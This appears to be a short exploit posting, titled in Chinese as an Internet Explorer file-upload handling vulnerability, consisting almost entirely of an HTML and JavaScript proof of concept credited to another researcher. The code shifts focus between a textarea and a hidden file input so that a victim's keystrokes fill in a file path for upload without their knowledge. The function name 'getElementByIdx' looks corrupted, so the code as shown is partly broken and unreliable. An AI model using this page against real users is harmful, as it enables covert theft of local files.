Microsoft Internet Explorer 文件上传处理漏洞

# based upon Hong's exploit: # http://sla.ckers.org/forum/read.php?3,13142 <script> function Clear() { document.getElementByIdx("label1").htmlFor="file1"; document.getElementByIdx("text1").focus(); } function Down() { document.getElementByIdx("file1").focus(); } </script> <input type="file" id="file1" name="file1" onkeydown="Clear()" onkeyup="Clear()" /> <label id="label1" name="label1"></label> <br /> <textarea name="text1" id="text1" onkeydown="Down()"> </textarea>